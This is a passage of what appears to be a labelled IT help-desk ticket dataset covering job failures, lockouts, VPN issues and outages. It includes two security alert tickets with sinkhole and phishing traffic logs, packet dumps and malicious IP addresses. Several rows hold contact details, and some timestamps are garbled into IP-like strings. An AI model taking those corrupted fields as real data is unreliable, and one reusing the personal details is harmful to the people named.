02:16:00",GRP_9 +"job Job_1338 failed in job_scheduler at: 09/12/2016 02:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 09/12/2016 02:14:00",GRP_9 +"there isn't any price under customer pruchase order 24899738 the customer group 3 of customer 81504358 has been defigned as cn7, and i was told price of the 4 products ( mm# 2869194, 2936676, 4232294, 5174961) have been maitained in system, but the order 35900849 isn't with any price on it. please check and let me know what's wrong in system for it. the customer is in urgnet need of the order , please solve the problem for us aerp._x000D_ +please find the detail from the attached._x000D_ +",GRP_13 +"security incidents - ( #in33847938) : possible malware infection - traffic from sinkhole domain to apul7701066 source ip :195.22.28.222_x000D_ +source port: 80_x000D_ +source ip geolocation: lisbon, prt_x000D_ +destination ip: 10.44.22.248_x000D_ +destination hostname: apul8812177 _x000D_ +destination port: 58300_x000D_ +user name:xcirqlup zopbiufn_x000D_ +location :/asiapac/apac/apacpuchn/computers/apul8812177_x000D_ +sep , sms status :not updated_x000D_ +field sales user ( yes / no) : no_x000D_ +dsw event log:see below_x000D_ +-----------------------------------------------------------------------------------------------------------_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 93002683_x000D_ +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset_x000D_ +occurrence count: 2_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 195.22.28.222_x000D_ +source port: 80_x000D_ +source ip geolocation: lisbon, prt_x000D_ +destination ip: 10.44.22.248_x000D_ +destination hostname: apul8812177 _x000D_ +destination port: 58300_x000D_ +connection directionality: incoming_x000D_ +protocol: tcp_x000D_ +http status code: 302_x000D_ +_x000D_ +device information_x000D_ +device ip: 80.68.49.4169_x000D_ +device name: isensor05.company.com_x000D_ +log time: 2016-09-12 at 04:37:39 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 703_x000D_ +cvss score: -1 _x000D_ +vendor priority: 2_x000D_ +vendor version: 7_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 699417_x000D_ +inspector event id: 888388110_x000D_ +ontology id: 200020003203755736_x000D_ +event type id: 200020003203582148_x000D_ +agent id: 102835_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**]_x000D_ +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 606873][event id: 703][time: 2584766160.739356]_x000D_ +[src ip: 195.22.28.222][dst ip: 10.44.22.248][sport/itype: 80][dport/icode: 58300][proto: 6]_x000D_ +09/12/2016-04:37:39.739356 195.22.28.222:80 -> 10.44.22.248:58300_x000D_ +tcp ttl:43 tos:0x0 id:22582 iplen:20 dgmlen:391 df_x000D_ +***ap*** seq: 0x501aa6d0 ack: 0x74888c9e win: 0x68b0 tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /domain/newflv.sohu.ccgslb.net]_x000D_ +_x000D_ +[ex http_hostname 10: sso.anbtr.com]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +.....1.w.h..........e...x6@.+.."".....,...p..p...t...p.h..$..http/1.1.302.moved.temporarily..server:.nginx..date:.mon,.12.sep.2016.04:37:39.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=0a51a90cb840cc144b448e76579f6b84;.domain=.ccgslb.net..location:._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 1331 d657 1c48 0b00 8701 0000 .....1.w.h......_x000D_ +000010 8701 0000 4500 0187 5836 4000 2b06 f522 ....e...x6@.+..""_x000D_ +000020 c316 1cde 0a2c 16f8 0050 e3bc 501a a6d0 .....,...p..p..._x000D_ +000030 7488 8c9e 5018 68b0 0a24 0000 4854 5450 t...p.h..$..http_x000D_ +000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t_x000D_ +000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv_x000D_ +000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:_x000D_ +000070 204d 6f6e 2c20 3132 2053 6570 2032 3031 .mon,.12.sep.201_x000D_ +000080 3620 3034 3a33 373a 3339 2047 4d54 0d0a 6.04:37:39.gmt.._x000D_ +000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te_x000D_ +0000a0 7874 2f68 746d 6c0d 0a43 6f6e 6e65 6374 xt/html..connect_x000D_ +0000b0 696f 6e3a 2063 6c6f 7365 0d0a 5365 742d ion:.close..set-_x000D_ +0000c0 436f 6f6b 6965 3a20 616e 6274 723d 3061 cookie:.anbtr=0a_x000D_ +0000d0 3531 6139 3063 6238 3430 6363 3134 3462 51a90cb840cc144b_x000D_ +0000e0 3434 3865 3736 3537 3966 3662 3834 3b20 448e76579f6b84;._x000D_ +0000f0 646f 6SID_26 696e 3d2e 6363 6773 6c62 2e6e domain=.ccgslb.n_x000D_ +000100 6574 0d0a 4c6f 6361 7469 6f6e 3a20 6874 et..location:.ht_x000D_ +000110 7470 3a2f 2f78 7373 6f2e 6e65 7766 6c76 tp://xsso.newflv_x000D_ +000120 2e73 6f68 752e 6363 6773 6c62 2e6e 6574 .sohu.ccgslb.net_x000D_ +000130 2f30 6135 3161 3930 6362 3834 3063 6331 /0a51a90cb840cc1_x000D_ +000140 3434 6234 3438 6537 3635 3739 6636 6238 44b448e76579f6b8_x000D_ +000150 340d 0a0d 0a47 6f20 6874 7470 3a2f 2f78 4....go._x000D_ +000160 7373 6f2e 6e65 7766 6c76 2e73 6f68 752e sso.newflv.sohu._x000D_ +000170 6363 6773 6c62 2e6e 6574 2f30 6135 3161 ccgslb.net/0a51a_x000D_ +000180 3930 6362 3834 3063 6331 3434 6234 3438 90cb840cc144b448_x000D_ +000190 6537 3635 3739 6636 6238 34 e76579f6b84_x000D_ +==pcap 1 hex e==",GRP_31 +apac apac - china company-ap-chn-china-3750g-access-vmsw01 and multiple servers went down at 1:55 am et on 09/12 job name:,GRP_8 +"unable to open .jpg , .png files _x000D_ +_x000D_ +received from: pxbqkfgm.qexvrmcn@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am unable to open .jpg & .png files. pls. do the needful._x000D_ +_x000D_ +vivthyek byuihand_x000D_ +asst manager- sales_x000D_ +company india ltd, india._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +how to recall send message in outlook how to recall send message in outlook,GRP_0 +reset the password for mobaidfx gviwlsrm on erp / produktion / hcm passwort zurücksetzen - ,GRP_0 +handscanner am rückmeldeterminal 6 defekt handscanner am rückmeldeterminal 6 defekt (gegenüber kln),GRP_33 +"netweaver folgender fehler: microsoft .net framdntyework 4,5 is not installed._x000D_ +please contact your administrator. ",GRP_0 +"company engineering_tool access + +received from: mcphgvnb.bdegqtyj@gmail.com + +hello, + please help me to access the company engineering_tool, tool data system and crm. company engineering_tool is asking email and password to open and tried it with my email (mcphgvnb.bdegqtyj@gmail.com) & password but it is showing incorrect id & password so please do needful + +thanking you + ramdntygy + + +",GRP_0 +unable to connect to engineering tool unable to connect to engineering tool ,GRP_0 +"can not log into vpn +name:gwptzvxm rhozsfty +language: +browser:microsoft internet explorer +email:gwptzvxm.rhozsfty@gmail.com +customer number: +telephone: +summary:can not log into vpn",GRP_0 +"sorahdyggs (ijyuvind sohytganvi ) his system is locked and he is not able to log in _x000D_ +name:pradtheyp_x000D_ +language:_x000D_ +browser:microsoft internet explorer_x000D_ +email:pradtheyp.jeyabalan@gmail.com_x000D_ +customer number:_x000D_ +telephone:0649737471_x000D_ +summary:sorahdyggs (ijyuvind sohytganvi ) his system is locked and he is not able to log in",GRP_0 +"t/o can not be generated _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +the t/o can not be generated for below dn, would you pls help to check , ",GRP_18 +"job Job_1141 failed in job_scheduler at: 09/11/2016 23:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1141 failed in job_scheduler at: 09/11/2016 23:45:00",GRP_9 +windows account locked windows account locked ,GRP_0 +"retrieving data from old to new laptop _x000D_ +_x000D_ +received from: jkpwisnf.lgpdyncm@gmail.com_x000D_ +_x000D_ +hello_x000D_ +i forgot the password of old laptop and i have to submit the same to india office._x000D_ +before doing that, i want to transfer some data especially engineering_tools._x000D_ +could you please help me in resolving the issue._x000D_ +_x000D_ +",GRP_0 +windows account locked windows account locked ,GRP_0 +"job hr_payroll_na_u1 failed in job_scheduler at: 09/11/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 09/11/2016 23:00:00",GRP_10 +"job hr_payroll_na_u2 failed in job_scheduler at: 09/11/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 09/11/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 09/11/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 09/11/2016 23:00:00",GRP_10 +battery at warning status battery showing warning status ,GRP_19 +unable to login to erp SID_34 unable to login to erp SID_34 ,GRP_0 +unable to connect to vpn unable to connect to vpn vpn ,GRP_0 +"unlock erp logon _x000D_ +_x000D_ +received from: jofvunqs.uwigjmzv@gmail.com_x000D_ +_x000D_ +hello:_x000D_ +please help me unlock erp logon. i can not logon the erp system ,input my password._x000D_ +_x000D_ +best ",GRP_0 +"security_tool password manager service down in component server lhqsm657 lhqsm657: security_tool application is down. _x000D_ +component name security_tool password manager is down",GRP_2 +"HostName_986:(plm conversion- production) alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, ex HostName_986:(plm conversion- production): alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, ",GRP_14 +"HostName_53 : 85% space consumed. space available: 0.98 m HostName_53: volume: f:\ label:dat2-HostName_53 d4e35b72 on server: HostName_53 is over _x000D_ +85% space consumed. space available: 0.98 m ",GRP_12 +"lhbsm005 : 85% disk space consumed. space available: 4.5 g lhbsm005: volume: f:\ label:dat2-lhbsm005 7446ecc9 on server: lhbsm005 is over _x000D_ +85% space consumed. space available: 4.5 g ",GRP_12 +"job snp_heu_6_regen failed in job_scheduler at: 09/11/2016 17:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_6_regen failed in job_scheduler at: 09/11/2016 17:48:00",GRP_6 +"job snp_heu_5_regen failed in job_scheduler at: 09/11/2016 17:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_5_regen failed in job_scheduler at: 09/11/2016 17:33:00",GRP_6 +"job SID_37hoti failed in job_scheduler at: 09/11/2016 14:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 09/11/2016 14:46:00",GRP_5 +"job Job_1427 failed in job_scheduler at: 09/11/2016 14:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1427 failed in job_scheduler at: 09/11/2016 14:44:00",GRP_6 +"job SID_37hoti failed in job_scheduler at: 09/11/2016 14:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 09/11/2016 14:21:00",GRP_5 +"job bk_hana_SID_62_os_wly_dp failed in job_scheduler at: 09/11/2016 13:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_os_wly_dp failed in job_scheduler at: 09/11/2016 13:21:00",GRP_5 +"job bk_hana_SID_22_os_wly failed in job_scheduler at: 09/11/2016 11:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_22_os_wly failed in job_scheduler at: 09/11/2016 11:18:00",GRP_5 +"vip 1 - how can i change my password remotely? i'm traveling and it expires in 2 days. _x000D_ +_x000D_ +received from: yxvqdtmk.kbicqjrp@gmail.com_x000D_ +_x000D_ +sent from mail<_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"not able to access to t or p drives name:cighytol yjurztgd +language: +browser:microsoft internet explorer +email:cighytol.yjurztgd@gmail.com +customer number: +telephone: +summary:hello, closing down my laptop and starting vpn again has not solved the issue. i do not have access to t or p drives today. teams and global. i can't do any work until this access is restored. please help.",GRP_0 +unable to connect to outlook unable to connect to outlook ,GRP_0 +"ms office 2016 installation ms office 2016 installation + +contact no:- ",GRP_0 +"power supplied failed on library 2. from: timnhyt rehtyulds +sent: sunday, september 11, 2016 7:14 am +to: datacenter +cc: -dacl3 +subject: re: qa* cold backups + + +",GRP_8 +HostName_1010 : the service is down after the weekend reboot (erpstartsrv.exe) HostName_1010 : the service is down after the weekend reboot (erpstartsrv.exe) ,GRP_14 +"job Job_579 failed in job_scheduler at: 09/11/2016 07:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_579 failed in job_scheduler at: 09/11/2016 07:15:00",GRP_5 +"job co_val_update_crosscomp failed in job_scheduler at: 09/11/2016 06:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job co_val_update_crosscomp failed in job_scheduler at: 09/11/2016 06:02:00",GRP_10 +"job snp_heu_1_regen failed in job_scheduler at: 09/11/2016 05:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_1_regen failed in job_scheduler at: 09/11/2016 05:41:00",GRP_6 +"job snp_heu_2_regen failed in job_scheduler at: 09/11/2016 05:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_2_regen failed in job_scheduler at: 09/11/2016 05:36:00",GRP_6 +"network outage: malaysia site hard down since 12:41 am et on 09/11. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________12:41 am et on 09/11______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____yes__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +HostName_894 : c:\ label:sys-HostName_894 28385a7b on server: HostName_894 is over 85% space consumed. space available: 4.4 g HostName_894 : c:\ label:sys-HostName_894 28385a7b on server: HostName_894 is over 85% space consumed. space available: 4.4 g,GRP_39 +restoring ppt restoring ppt,GRP_0 +"erp login-password issue. _x000D_ +_x000D_ +received from: ojgfmvep.zbatowgi@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +facing erp login problem. password issue._x000D_ +_x000D_ +with best ",GRP_0 +"job Job_1148 failed in job_scheduler at: 09/11/2016 01:27:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 09/11/2016 01:27:00",GRP_9 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 09/11/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 09/11/2016 00:11:00",GRP_8 +"engineering_tool installation, ms office 2016 installation, vpn access, erp access. engineering_tool installation, ms office 2016 installation, vpn access, erp access.",GRP_0 +"job SID_39cold failed in job_scheduler at: 09/78.93.52.6799:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39cold failed in job_scheduler at: 09/78.93.52.6799:58:00",GRP_5 +"job SID_36cold failed in job_scheduler at: 09/78.93.52.6798:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_36cold failed in job_scheduler at: 09/78.93.52.6798:13:00",GRP_5 +"job SID_7cold failed in job_scheduler at: 09/78.93.52.6798:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_7cold failed in job_scheduler at: 09/78.93.52.6798:14:00",GRP_5 +"job Job_749 failed in job_scheduler at: 09/78.93.52.6795:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_749 failed in job_scheduler at: 09/78.93.52.6795:43:00",GRP_5 +"vpn issue hi liuytre,_x000D_ +_x000D_ +sorry to hear of the issues with ethics and vpn that you're experiencing._x000D_ +_x000D_ +you do have access to vpn now and should be able to connect through _x000D_ +_x000D_ +also, please could you share the error you have when trying to get into ethics. i understand there was a change in your employment status which might be contributing to it but will need to confirm. please share when the changes took place and the error message._x000D_ +_x000D_ +",GRP_0 +"ethics issue hi liuytre,_x000D_ +_x000D_ +sorry to hear of the issues with ethics and vpn that you're experiencing._x000D_ +_x000D_ +you do have access to vpn now and should be able to connect through _x000D_ +_x000D_ +also, please could you share the error you have when trying to get into ethics. i understand there was a change in your employment status which might be contributing to it but will need to confirm. please share when the changes took place and the error message._x000D_ +_x000D_ +",GRP_0 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +unable to connect to vpn unable to connect to vpn ,GRP_0 +"power outage:jundiai - (company):company-sifco-jundiai-rtr circuit is down since at 7:27 am et on 09/10.no backup what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____na_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____7:27 am et on 09/10__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"the dynamics crm url checks is reporting a : down status on, company-crm-sp-mfg_tooltion.azurewebsites.net. observing below alert in monitoring_tool since 06:33 am et on 09/10._x000D_ +_x000D_ +application ""dynamics crm url checks"" on node ""company-crm-sp-mfg_tooltion.azurewebsites.net"" is down ",GRP_40 +"ap vpn is not getting connected + +received from: dargthy.sohfyuimaiah@company.com + +ap vpn is not getting connected. please assist at an earliest. ",GRP_0 +"circuit outage:usa:secondary vpn circuit is down since at 5:51 am et on 09/10.site have backup . what type of outage: _____network _x____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______5:51 am et on 09/10________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _yes_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_1427 failed in job_scheduler at: 09/10/2016 04:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1427 failed in job_scheduler at: 09/10/2016 04:07:00",GRP_6 +"job Job_1348 failed in job_scheduler at: 09/10/2016 03:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348 failed in job_scheduler at: 09/10/2016 03:55:00",GRP_9 +"unable to print production orders : error : production_order_interface_vendor-connc-bng unable to print production orders since last 1 hour._x000D_ +user was doing half day and mentioned that he will contact again on monday for this issue._x000D_ +not sure if rest of users in india plant facing same issue._x000D_ +collated information for issue with screenshot and assigning to concern team._x000D_ +_x000D_ +_x000D_ +connection to system production_order_interface_app-bng with destination production_order_interface_vendor-connc-bng is not okay.",GRP_14 +account locked out account locked out ,GRP_0 +"account lcoked out. 389_x000D_ +summary:password change is locked. need to change all password",GRP_0 +"job Job_577 failed in job_scheduler at: 09/10/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_577 failed in job_scheduler at: 09/10/2016 00:02:00",GRP_8 +"job Job_549 failed in job_scheduler at: 09/09/2016 23:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 09/09/2016 23:02:00",GRP_8 +"clientless vpn is not working + +received from: qklrdoba.qxivmbts@gmail.com + +hello, + greetings of the day. + +please note that the clientless vpn is not working in my system, below details are for your kind information only: + +user id : sarhytukas +system id : awyl9326112 + +please find below the snaps i am receiving while trying to use vpn + +[cid:image002.jpg@01d20b3d.0d85d170] + +[cid:image006.jpg@01d20b3d.0d85d170] + +please do the needful. + + +",GRP_0 +"network outage: apac , site hard down since 7:29 pm et on 9/9/2016. no backup. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________7:29 pm et on 9/9/2016______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _no_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job SID_46filesys failed in job_scheduler at: 09/09/2016 22:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_46filesys failed in job_scheduler at: 09/09/2016 22:04:00",GRP_8 +"job bk_hana_SID_62_erp_dly_dp failed in job_scheduler at: 09/09/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_erp_dly_dp failed in job_scheduler at: 09/09/2016 22:02:00",GRP_8 +"job Job_1348b failed in job_scheduler at: 09/09/2016 18:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348b failed in job_scheduler at: 09/09/2016 18:10:00",GRP_9 +"skype login issue. skype login issue._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the skype._x000D_ +-issue resolved._x000D_ +_x000D_ +",GRP_0 +no audio while on skype meeting no audio while on skype meeting,GRP_0 +"confidential - project x update - outlook issue with displaying an image in the meeting invite (ms project image, png im _x000D_ +_x000D_ +received from: kehtxprg.uekapfzt@gmail.com_x000D_ +_x000D_ +hello company it help,_x000D_ +_x000D_ +for some reason the image in the invitations does not show up, as you can see below. the only think is this [!oc([1033])!]_x000D_ +_x000D_ +is this an issue on my end how outlook is setup or something from the sender side?_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"job Job_577 failed in job_scheduler at: 09/09/2016 16:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_577 failed in job_scheduler at: 09/09/2016 16:50:00",GRP_5 +the odbc connection to glovia-old no longer works to access glovia data access can no longer connect to dsn=glovia-old. we need this connection to obtain archived data. please assign to keyhtyvin toriaytun.,GRP_3 +emails not updating in outlook emails not updating in outlook,GRP_0 +"job Job_553 failed in job_scheduler at: 09/09/2016 15:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_553 failed in job_scheduler at: 09/09/2016 15:18:00",GRP_5 +"update office to 64 bit name:kvrmnuix yicpojmf +language: +browser:microsoft internet explorer +email:kvrmnuix.yicpojmf@gmail.com +customer number: +telephone: +summary:update office to 64-bit",GRP_0 +skype error skype error,GRP_0 +unable to submit a discount form unable to submit a discount form,GRP_0 +blank call // gso blank call // gso,GRP_0 +please install project 2013 back on the clients pc please install project 2013 back on the clients pc,GRP_3 +"in engineering tool, when i try to create a new task, some of the options are not being displayed.. in engineering tool, when i try to create a new task, some of the options are not being displayed.. _x000D_ +_x000D_ +please refer the attachment ",GRP_25 +"job Job_3194 failed in job_scheduler at: 09/09/2016 14:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 09/09/2016 14:15:00",GRP_10 +supply_chian_mgmt_tool password reset. supply_chian_mgmt_tool password reset.,GRP_0 +lauacyltoe hxgaycze java to be installed lauacyltoe hxgaycze java to be installed,GRP_0 +"chg0034110 + +received from: afkstcev.utbnkyop@gmail.com + +hello everyone + + + +users will receive a message to logon to + + + +afkstcev utbnkyop +senior analyst, bokrgadu euobrlcn +afkstcev.utbnkyop@gmail.com + +",GRP_0 +ticket update inplant_858871 ticket update inplant_858871,GRP_0 +user needs access to the engineering_tool. user needs access to the engineering_tool.,GRP_0 +"unable to add contacts to markhtyeting list to receive catalogs in crm unable to add contacts to markhtyeting list to receive catalogs in crm + +user id - kindftyed +contact no - +",GRP_22 +" incident #in33541962 - phishing form submit - outbound beshryulisted ip - dane-williuthyr source ip: 10.38.93.30 +source hostname: dane-williuthyr +user name: dghuane whryuiams (wijuiidl) +location : usa pa eh +sep , sms status : n/a +field sales user ( yes / no) : no +dsw event log: see below + +** + +we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating '[ipbl]: phishing form submit - outbound beshryulisted ip' alerts for traffic from dane-williuthyr/10.38.93.30 to 107.180.41.85. the external ip address of 107.180.41.85 has been beshryulisted by our counter threat unit (ctu) team due to its association with malware (phishing form submit - outbound). the affected asset should be investigated as traffic to the beshryulisted ip address may indicate that the host has been infected by malware. + +we are escalating this incident to you via a medium priority ticket and e-mail only notification per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at +1) full escalation for related events (high priority ticket and a phone call). +2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal). + +sincerely, + ctoc + +========================= +event data +========================= + +event id: 304247119 +event summary: [ipbl]: phishing form submit - outbound beshryulisted ip +occurrence count: 1 +event count: 1 + +host and connection information +source ip: 10.38.93.30 +source hostname: dane-williuthyr +source mac address: 28:5a:eb:51:db:f0 +destination ip: 107.180.41.85 +destination hostname: ip-107-180-41-85.ip.secureserver.net. +destination ip geolocation: schtrtgoyhtsdale, usa +connection directionality: outgoing + +device information +device ip: 18.79.63.203 +device name: company-internal-asa.company.com-1 + +scwx event processing information +sherlock rule id (sle): 701525 +inspector event id: 031724385 +agent id: 103611 + +event detail: +aug 8 13:11:36 18.79.63.203 %asa-6-302013: built outbound tcp connection 2173940377 for outside:107.180.41.85/80 (107.180.41.85/80) to inside:10.38.93.30/58345 (12.161.199.50/14084) + +[correlation_data] +aug 8 06:46:44 27.38.93.278 dhcpd[2261]: dhcpack on 10.38.93.30 to 28:5a:eb:51:db:f0 (dane-williuthyr) via eth1 relay 10.38.92.1 lease-duration 604800 (renew) +take action + +ticket action: +",GRP_2 +"job Job_1427 failed in job_scheduler at: 09/09/2016 13:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1427 failed in job_scheduler at: 09/09/2016 13:39:00",GRP_6 +reparo adobe pdf os recibo gerados em pdf estão saindo com caracteres.,GRP_0 +"design_tool service: file naming convention has changed the geengineering_tooloductdata web service calls the design_tool service to obtain cad models for engineering_tool._x000D_ +i believe this link points to the design_tool uacyltoe hxgaycze service: _x000D_ +_x000D_ +looks like the naming convention has changed in the last few days and files returned by this service are being named with just the materials_management number._x000D_ +(e.g. mm 7304975 in SID_34. see the attached fw engineering_tool drills.msg for more details)_x000D_ +_x000D_ +the change is causing issues 